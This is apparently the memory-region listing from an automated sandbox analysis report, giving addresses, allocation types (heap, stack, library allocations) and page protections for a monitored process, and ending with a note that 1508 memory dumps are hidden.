trusted library allocation
page read and write
7FFAAC7F5000
trusted library allocation
page read and write
EB8000
heap
page read and write
16A0000
heap
page read and write
7FFAAC780000
trusted library allocation
page read and write
12963000
trusted library allocation
page read and write
7FFAAC4AB000
trusted library allocation
page read and write
7FFAAC850000
trusted library allocation
page read and write
7C90000
trusted library allocation
page read and write
F80000
heap
page read and write
12FF1000
trusted library allocation
page read and write
7FFAAC7B8000
trusted library allocation
page read and write
7C7A000
trusted library allocation
page read and write
1462000
trusted library allocation
page read and write
7FFAAC47D000
trusted library allocation
page execute and read and write
E20000
unkown
page readonly
38AF000
trusted library allocation
page read and write
340B000
trusted library allocation
page read and write
7FFAAC740000
trusted library allocation
page read and write
1860000
trusted library allocation
page read and write
2AE88487000
trusted library allocation
page read and write
2371B172000
trusted library allocation
page read and write
7FFAAC462000
trusted library allocation
page read and write
6530000
heap
page read and write
23719FDA000
heap
page read and write
462B000
trusted library allocation
page read and write
292902F1000
trusted library allocation
page read and write
7FFAAC810000
trusted library allocation
page read and write
16C3000
heap
page read and write
1663000
heap
page read and write
312B000
trusted library allocation
page read and write
145D000
trusted library allocation
page execute and read and write
7FFAAC453000
trusted library allocation
page execute and read and write
292804CD000
trusted library allocation
page read and write
7FFAAC760000
trusted library allocation
page read and write
2AE88842000
trusted library allocation
page read and write
7FFAAC7FC000
trusted library allocation
page read and write
27A6E4B2000
heap
page read and write
340D000
trusted library allocation
page read and write
2371BA8A000
trusted library allocation
page read and write
DA8000
heap
page read and write
2371BF5C000
trusted library allocation
page read and write
7D80000
trusted library allocation
page read and write
23718611000
heap
page read and write
EBDDA8C000
stack
page read and write
23732576000
heap
page read and write
7FFAAC8B0000
trusted library allocation
page execute and read and write
7DF4C6AF0000
trusted library allocation
page execute and read and write
E90000
heap
page read and write
33C0000
trusted library allocation
page read and write
23732581000
heap
page read and write
7FFAAC680000
trusted library allocation
page read and write
68C0000
trusted library allocation
page read and write
12F4D000
trusted library allocation
page read and write
6610000
heap
page read and write
1BABE000
stack
page read and write
7C8A000
trusted library allocation
page read and write
1BD10000
heap
page execute and read and write
38A8000
trusted library allocation
page read and write
2CA0000
trusted library allocation
page read and write
5E18000
trusted library allocation
page read and write
D974677000
stack
page read and write
7FFAAC6C0000
trusted library allocation
page read and write
A7F1FFF000
stack
page read and write
292EEA00000
heap
page read and write
2372A395000
trusted library allocation
page read and write
9AD817E000
stack
page read and write
7FFAAC4B0000
trusted library allocation
page read and write
27A6E4FE000
heap
page read and write
13307000
trusted library allocation
page read and write
7FFB08172000
unkown
page readonly
3400000
trusted library allocation
page read and write
3681000
trusted library allocation
page read and write
3456000
trusted library allocation
page read and write
65BE000
heap
page read and write
27A6E5B0000
heap
page read and write
7FFAAC8B6000
trusted library allocation
page read and write
7FFAAC6A0000
trusted library allocation
page read and write
27A706D4000
heap
page read and write
D9745FE000
stack
page read and write
9AD8ECE000
stack
page read and write
7FFAAC632000
trusted library allocation
page read and write
2E2E000
stack
page read and write
E20000
heap
page read and write
2AE9F73A000
heap
page read and write
5A9E000
stack
page read and write
7FFAAC8C0000
trusted library allocation
page read and write
7FFAAC510000
trusted library allocation
page read and write
292EE9D5000
heap
page read and write
16EF000
heap
page read and write
EBDCC79000
stack
page read and write
A7F23BE000
stack
page read and write
7FFAAC7C3000
trusted library allocation
page read and write
7FFAAC4EC000
trusted library allocation
page execute and read and write
7DF437D90000
trusted library allocation
page execute and read and write
F9F000
stack
page read and write
3445000
trusted library allocation
page read and write
112C000
heap
page read and write
6840000
trusted library allocation
page read and write
2AE86D10000
trusted library allocation
page read and write
9AD7C73000
stack
page read and write
82FA000
heap
page read and write
7FFAAC463000
trusted library allocation
page execute and read and write
7C94000
trusted library allocation
page read and write
7FFAAC481000
trusted library allocation
page read and write
2AE883C9000
trusted library allocation
page read and write
2D7C000
trusted library allocation
page read and write
3838000
trusted library allocation
page read and write
1BC1E000
stack
page read and write
2AE9F6E5000
heap
page read and write
7FFAAC642000
trusted library allocation
page read and write
1AEC0000
trusted library allocation
page read and write
7FFAAC7E0000
trusted library allocation
page read and write
5B9E000
stack
page read and write
7FFAAC506000
trusted library allocation
page read and write
6660000
trusted library allocation
page execute and read and write
EBDCB77000
stack
page read and write
7FFAAC6B0000
trusted library allocation
page read and write
A7F2338000
stack
page read and write
654B000
heap
page read and write
7FFAAC4CC000
trusted library allocation
page execute and read and write
27A01DFD000
trusted library allocation
page read and write
9D0000
heap
page read and write
5A5F000
stack
page read and write
6625000
heap
page read and write
36BB000
trusted library allocation
page read and write
27A6E4A0000
heap
page read and write
13128000
trusted library allocation
page read and write
7DF4C2190000
trusted library allocation
page execute and read and write
292F0790000
heap
page execute and read and write
7FFAAC492000
trusted library allocation
page read and write
18B0000
trusted library allocation
page read and write
7FFAAC7E4000
trusted library allocation
page read and write
23732760000
heap
page read and write
27A70608000
heap
page read and write
379A000
trusted library allocation
page read and write
2AE8543E000
heap
page read and write
292EE640000
heap
page read and write
13368000
trusted library allocation
page read and write
27A10031000
trusted library allocation
page read and write
21685070000
heap
page read and write
122D000
heap
page read and write
9AD7F77000
stack
page read and write
7FFAAC622000
trusted library allocation
page read and write
292EE680000
heap
page read and write
7FFAAC602000
trusted library allocation
page read and write
7FFAAC460000
trusted library allocation
page read and write
1339D000
trusted library allocation
page read and write
EBDD03B000
stack
page read and write
E5E000
heap
page read and write
27A00A51000
trusted library allocation
page read and write
73D0D000
unkown
page read and write
2371B1FF000
trusted library allocation
page read and write
7FFAAC634000
trusted library allocation
page read and write
1260000
heap
page read and write
7FFAAC480000
trusted library allocation
page read and write
45CC000
trusted library allocation
page read and write
7FFAAC6E0000
trusted library allocation
page read and write
27A010BA000
trusted library allocation
page read and write
237186C0000
trusted library section
page read and write
292EE9D0000
heap
page read and write
7FFAAC6F0000
trusted library allocation
page read and write
9AD83FB000
stack
page read and write
68A0000
heap
page read and write
7FFAAC690000
trusted library allocation
page read and write
7FFAAC7F8000
trusted library allocation
page read and write
7FFAAC4A0000
trusted library allocation
page read and write
14C0000
heap
page read and write
7FFAAC740000
trusted library allocation
page read and write
65A2000
heap
page read and write
7C85000
trusted library allocation
page read and write
237186B0000
trusted library section
page read and write
7FFAAC540000
trusted library allocation
page read and write
2AE87090000
heap
page read and write
3110000
heap
page execute and read and write
ED0000
heap
page read and write
689B000
stack
page read and write
7DF421420000
trusted library allocation
page execute and read and write
12D73000
trusted library allocation
page read and write
2371B9C9000
trusted library allocation
page read and write
292812A2000
trusted library allocation
page read and write
2371A60D000
trusted library allocation
page read and write
7FFAAC4EC000
trusted library allocation
page execute and read and write
7C78000
trusted library allocation
page read and write
2371BF17000
trusted library allocation
page read and write
11E9000
heap
page read and write
27A707D6000
heap
page read and write
7FFAAC7F2000
trusted library allocation
page read and write
5CDE000
stack
page read and write
2373262E000
heap
page read and write
27A011D5000
trusted library allocation
page read and write
45B2000
trusted library allocation
page read and write
7FFAAC760000
trusted library allocation
page read and write
127F000
stack
page read and write
2AE9F61C000
heap
page read and write
7FFAAC590000
trusted library allocation
page execute and read and write
7B39000
trusted library allocation
page read and write
23718638000
heap
page read and write
5BDE000
stack
page read and write
12DA3000
trusted library allocation
page read and write
1070000
heap
page read and write
5728000
trusted library allocation
page read and write
13309000
trusted library allocation
page read and write
7FFAAC870000
trusted library allocation
page read and write
27A705F4000
heap
page read and write
EBDCA79000
stack
page read and write
27A10376000
trusted library allocation
page read and write
4617000
trusted library allocation
page read and write
7FFAAC546000
trusted library allocation
page execute and read and write
9AD837F000
stack
page read and write
7FFAAC8E6000
trusted library allocation
page read and write
144D000
trusted library allocation
page execute and read and write
5720000
trusted library allocation
page read and write
F01000
heap
page read and write
7FFAAC678000
trusted library allocation
page read and write
7FFAAC510000
trusted library allocation
page read and write
7FFAAC650000
trusted library allocation
page execute and read and write
23718735000
heap
page read and write
37A0000
trusted library allocation
page read and write
EBDCF3F000
stack
page read and write
E52000
unkown
page readonly
18D0000
heap
page read and write
3001000
trusted library allocation
page read and write
8010000
heap
page read and write
13301000
trusted library allocation
page read and write
2AE88EE6000
trusted library allocation
page read and write
7FFAAC630000
trusted library allocation
page execute and read and write
7FFB08166000
unkown
page readonly
EE0000
heap
page read and write
27A6FDD5000
heap
page read and write
2AE9F4ED000
heap
page read and write
2371B8BD000
trusted library allocation
page read and write
444A000
trusted library allocation
page read and write
A7F24BF000
stack
page read and write
3759000
trusted library allocation
page read and write
37FE000
trusted library allocation
page read and write
7FFAAC580000
trusted library allocation
page execute and read and write
7FFAAC632000
trusted library allocation
page read and write
DD0000
heap
page read and write
10F1000
stack
page read and write
14C5000
heap
page read and write
292EE68A000
heap
page read and write
7FFAAC54C000
trusted library allocation
page execute and read and write
6547000
heap
page read and write
655E000
heap
page read and write
23732863000
heap
page read and write
5760000
heap
page read and write
ED2000
heap
page read and write
62E0000
trusted library allocation
page read and write
27A704B4000
heap
page read and write
237327C6000
heap
page read and write
A7F308C000
stack
page read and write
2EEE000
stack
page read and write
7FFAAC6C0000
trusted library allocation
page read and write
7FFAAC60A000
trusted library allocation
page read and write
E66000
unkown
page readonly
132A000
heap
page read and write
237185F7000
heap
page read and write
6360000
trusted library allocation
page read and write
7FFAAC49D000
trusted library allocation
page execute and read and write
7FFAAC6F0000
trusted library allocation
page read and write
27A6E527000
heap
page read and write
292F0AD1000
heap
page read and write
1475000
trusted library allocation
page execute and read and write
A7F263C000
stack
page read and write
2AE853D5000
heap
page read and write
27A704B6000
heap
page read and write
DDD000
heap
page read and write
42B2000
trusted library allocation
page read and write
572A000
trusted library allocation
page read and write
3639000
trusted library allocation
page read and write
344C000
trusted library allocation
page read and write
1331C000
trusted library allocation
page read and write
6320000
trusted library allocation
page execute and read and write
7FFAAC470000
trusted library allocation
page read and write
7FFAAC630000
trusted library allocation
page read and write
27A10073000
trusted library allocation
page read and write
10EB000
heap
page read and write
21684E10000
heap
page read and write
6300000
trusted library allocation
page read and write
7FFAAC678000
trusted library allocation
page read and write
2AE9F400000
heap
page read and write
13342000
trusted library allocation
page read and write
15B0000
trusted library allocation
page read and write
27A6FF70000
heap
page execute and read and write
27A70864000
heap
page read and write
21685075000
heap
page read and write
35E9000
trusted library allocation
page read and write
292EE67C000
heap
page read and write
14AF000
stack
page read and write
67CC000
stack
page read and write
7C7F000
trusted library allocation
page read and write
118B000
heap
page read and write
237185FF000
heap
page read and write
343A000
trusted library allocation
page read and write
D70000
heap
page execute and read and write
428F000
trusted library allocation
page read and write
7FFAAC601000
trusted library allocation
page read and write
1628000
heap
page read and write
27A6E4BE000
heap
page read and write
1BCDE000
stack
page read and write
65CC000
heap
page read and write
7D2D000
stack
page read and write
9AD7E79000
stack
page read and write
292F0ABD000
heap
page read and write
7FFAAC600000
trusted library allocation
page read and write
23718710000
trusted library allocation
page read and write
E05000
heap
page read and write
D974B3E000
stack
page read and write
7FFAAC5B0000
trusted library allocation
page execute and read and write
7DF421410000
trusted library allocation
page execute and read and write
5BD9000
trusted library allocation
page read and write
7FFAAC8B0000
trusted library allocation
page read and write
237185B7000
heap
page read and write
7FFAAC780000
trusted library allocation
page read and write
E77EBEF000
stack
page read and write
27A6FFB0000
heap
page execute and read and write
9AD7CFD000
stack
page read and write
2AE9F78E000
heap
page read and write
18A0000
heap
page read and write
7FFAAC820000
trusted library allocation
page read and write
E77EE7E000
stack
page read and write
2371AB93000
trusted library allocation
page read and write
7FFAAC640000
trusted library allocation
page execute and read and write
7FFAAC690000
trusted library allocation
page read and write
13098000
trusted library allocation
page read and write
73D0F000
unkown
page readonly
7FFAAC7C3000
trusted library allocation
page read and write
1090000
trusted library allocation
page read and write
2AE88366000
trusted library allocation
page read and write
35F1000
trusted library allocation
page read and write
27A6FD80000
heap
page read and write
7FFAAC860000
trusted library allocation
page read and write
4D24000
trusted library allocation
page read and write
11D5000
heap
page read and write
7FFAAC750000
trusted library allocation
page read and write
7FFAAC7FC000
trusted library allocation
page read and write
2EB0000
heap
page read and write
1320000
heap
page read and write
1229000
heap
page read and write
27A104A1000
trusted library allocation
page read and write
23732847000
heap
page read and write
7FFAAC670000
trusted library allocation
page read and write
7FFAAC602000
trusted library allocation
page read and write
181E000
stack
page read and write
7FFAAC680000
trusted library allocation
page execute and read and write
2AE9F4AF000
heap
page read and write
D97447E000
stack
page read and write
9AD82FF000
stack
page read and write
27A704A8000
heap
page read and write
7FFAAC7C0000
trusted library allocation
page read and write
386F000
trusted library allocation
page read and write
29290309000
trusted library allocation
page read and write
A7F25BE000
stack
page read and write
454C000
trusted library allocation
page read and write
2AE9F762000
heap
page read and write
5740000
trusted library allocation
page read and write
2AE970C1000
trusted library allocation
page read and write
444F000
trusted library allocation
page read and write
3433000
trusted library allocation
page read and write
5940000
trusted library allocation
page read and write
3774000
trusted library allocation
page read and write
37D6000
trusted library allocation
page read and write
7FFAAC566000
trusted library allocation
page execute and read and write
2AE870B0000
heap
page execute and read and write
E20000
heap
page read and write
3683000
trusted library allocation
page read and write
A7F300E000
stack
page read and write
2AE853E0000
trusted library section
page read and write
12EC1000
trusted library allocation
page read and write
7FFAAC494000
trusted library allocation
page read and write
E64000
heap
page read and write
2AE86D95000
heap
page read and write
2E80000
heap
page read and write
537C000
stack
page read and write
27A6FDF0000
trusted library allocation
page read and write
7CB0000
trusted library allocation
page read and write
D9744FA000
stack
page read and write
3609000
trusted library allocation
page read and write
7FFAAC612000
trusted library allocation
page read and write
63D0000
trusted library allocation
page execute and read and write
1B76F000
stack
page read and write
2AE88A0F000
trusted library allocation
page read and write
27A1030A000
trusted library allocation
page read and write
659B000
heap
page read and write
2372A4B4000
trusted library allocation
page read and write
12F7000
stack
page read and write
5D02000
trusted library allocation
page read and write
7FFAAC611000
trusted library allocation
page read and write
14CC000
stack
page read and write
1620000
heap
page read and write
7FFAAC660000
trusted library allocation
page execute and read and write
2372A430000
trusted library allocation
page read and write
1175000
heap
page read and write
7FFAAC6B0000
trusted library allocation
page read and write
2372A150000
trusted library allocation
page read and write
EBDC97E000
stack
page read and write
296C000
trusted library allocation
page read and write
D97570C000
stack
page read and write
7FFAAC8D0000
trusted library allocation
page read and write
5C19000
trusted library allocation
page read and write
7FFAAC740000
trusted library allocation
page read and write
5D11000
trusted library allocation
page read and write
2AE9F445000
heap
page read and write
2371863A000
heap
page read and write
36E3000
trusted library allocation
page read and write
7FFAAC870000
trusted library allocation
page execute and read and write
7FFAAC730000
trusted library allocation
page read and write
82B0000
heap
page read and write
292F07E0000
trusted library allocation
page read and write
7D70000
trusted library allocation
page read and write
27A70488000
heap
page read and write
7FFAAC540000
trusted library allocation
page read and write
E96000
heap
page read and write
82DE000
heap
page read and write
292F0975000
heap
page read and write
D974A3E000
stack
page read and write
A7F2278000
stack
page read and write
7FFAAC7B0000
trusted library allocation
page read and write
1B245000
heap
page read and write
82DA000
heap
page read and write
5763000
heap
page read and write
292F09A9000
heap
page read and write
D97457E000
stack
page read and write
292F0A68000
heap
page read and write
6630000
trusted library allocation
page read and write
237328EB000
heap
page read and write
2372A42A000
trusted library allocation
page read and write
8315000
heap
page read and write
66AC000
stack
page read and write
3781000
trusted library allocation
page read and write
D45000
heap
page read and write
7FFAAC660000
trusted library allocation
page execute and read and write
1140000
heap
page read and write
292F0ADF000
heap
page read and write
E49000
heap
page read and write
27A00228000
trusted library allocation
page read and write
7FFAAC890000
trusted library allocation
page read and write
EBDCD37000
stack
page read and write
27A705F8000
heap
page read and write
D974ABD000
stack
page read and write
4647000
trusted library allocation
page read and write
292F0820000
heap
page read and write
23718590000
heap
page read and write
35E4000
trusted library allocation
page read and write
45E3000
trusted library allocation
page read and write
133E7000
trusted library allocation
page read and write
7FFAAC490000
trusted library allocation
page read and write
7FFAAC632000
trusted library allocation
page read and write
15CF000
stack
page read and write
7B36000
trusted library allocation
page read and write
12F8000
heap
page read and write
2AE87E3F000
trusted library allocation
page read and write
7FFAAC720000
trusted library allocation
page read and write
A7F320C000
stack
page read and write
6520000
trusted library allocation
page execute and read and write
138C8000
trusted library allocation
page read and write
1890000
trusted library allocation
page read and write
2D20000
heap
page execute and read and write
27A00001000
trusted library allocation
page read and write
13123000
trusted library allocation
page read and write
132B0000
trusted library allocation
page read and write
6310000
trusted library allocation
page read and write
45B7000
trusted library allocation
page read and write
3793000
trusted library allocation
page read and write
10F7000
heap
page read and write
292F0950000
heap
page read and write
5B48000
trusted library allocation
page read and write
2371B233000
trusted library allocation
page read and write
7FFAAC464000
trusted library allocation
page read and write
7FFAAC710000
trusted library allocation
page read and write
7FFB08170000
unkown
page read and write
1304D000
trusted library allocation
page read and write
292F0A16000
heap
page read and write
65DB000
heap
page read and write
E60000
trusted library allocation
page read and write
1170000
heap
page execute and read and write
5D0E000
trusted library allocation
page read and write
27A00F9F000
trusted library allocation
page read and write
292F07F0000
heap
page execute and read and write
9AD7EFE000
stack
page read and write
2AE973B2000
trusted library allocation
page read and write
37E1000
trusted library allocation
page read and write
7FFAAC680000
trusted library allocation
page execute and read and write
EEB000
heap
page read and write
27A704A2000
heap
page read and write
2371B41C000
trusted library allocation
page read and write
27A6FFE0000
heap
page read and write
1BBDE000
stack
page read and write
2AE9F655000
heap
page read and write
27A706C0000
heap
page read and write
5CF6000
trusted library allocation
page read and write
1180000
heap
page read and write
27A70799000
heap
page read and write
29281030000
trusted library allocation
page read and write
7FFAAC576000
trusted library allocation
page execute and read and write
36CC000
trusted library allocation
page read and write
237186D0000
trusted library allocation
page read and write
15FE000
stack
page read and write
4594000
trusted library allocation
page read and write
5CF1000
trusted library allocation
page read and write
1B48F000
stack
page read and write
27A7076A000
heap
page read and write
12F13000
trusted library allocation
page read and write
15A0000
heap
page read and write
1430000
trusted library allocation
page read and write
27A6FFFF000
heap
page read and write
27A6FEF0000
heap
page execute and read and write
7B30000
trusted library allocation
page read and write
D974779000
stack
page read and write
27A6FE80000
trusted library allocation
page read and write
7FFAAC7E0000
trusted library allocation
page read and write
6510000
trusted library allocation
page read and write
1880000
trusted library allocation
page read and write
7FFAAC7F0000
trusted library allocation
page read and write
4652000
trusted library allocation
page read and write
8397000
heap
page read and write
45EF000
trusted library allocation
page read and write
453A000
trusted library allocation
page read and write
3670000
trusted library allocation
page read and write
2AE880F2000
trusted library allocation
page read and write
3121000
trusted library allocation
page read and write
7FFAAC820000
trusted library allocation
page read and write
7FFAAC4AD000
trusted library allocation
page execute and read and write
73CF0000
unkown
page readonly
1355000
heap
page read and write
7FFAAC546000
trusted library allocation
page execute and read and write
37A4000
trusted library allocation
page read and write
2372A448000
trusted library allocation
page read and write
A7F310E000
stack
page read and write
BC0000
unkown
page readonly
296F000
trusted library allocation
page read and write
A7F20FE000
stack
page read and write
7FFAAC483000
trusted library allocation
page execute and read and write
29281E1C000
trusted library allocation
page read and write
27A706C4000
heap
page read and write
7FFAAC644000
trusted library allocation
page read and write
7FFAAC493000
trusted library allocation
page execute and read and write
7D6F000
stack
page read and write
148E000
stack
page read and write
5710000
trusted library allocation
page execute and read and write
62EB000
trusted library allocation
page read and write
2372A1B1000
trusted library allocation
page read and write
2AE86DAD000
heap
page read and write
27A0111D000
trusted library allocation
page read and write
2F1E000
trusted library allocation
page read and write
12D78000
trusted library allocation
page read and write
DC8000
heap
page read and write
BE0000
heap
page read and write
D70000
heap
page read and write
2371B31D000
trusted library allocation
page read and write
7FFAAC4B0000
trusted library allocation
page read and write
369C000
trusted library allocation
page read and write
7FFAAC8C0000
trusted library allocation
page read and write
D97578C000
stack
page read and write
7FFAAC494000
trusted library allocation
page read and write
7FFAAC6D0000
trusted library allocation
page read and write
9B0000
heap
page read and write
4D4C000
trusted library allocation
page read and write
2928007B000
trusted library allocation
page read and write
E40000
trusted library allocation
page read and write
2AE973B4000
trusted library allocation
page read and write
12FF3000
trusted library allocation
page read and write
12D71000
trusted library allocation
page read and write
7FFAAC450000
trusted library allocation
page read and write
27A70450000
heap
page read and write
E77EAE9000
stack
page read and write
7FFAAC530000
trusted library allocation
page execute and read and write
There are 1508 hidden memdumps, click here to show them.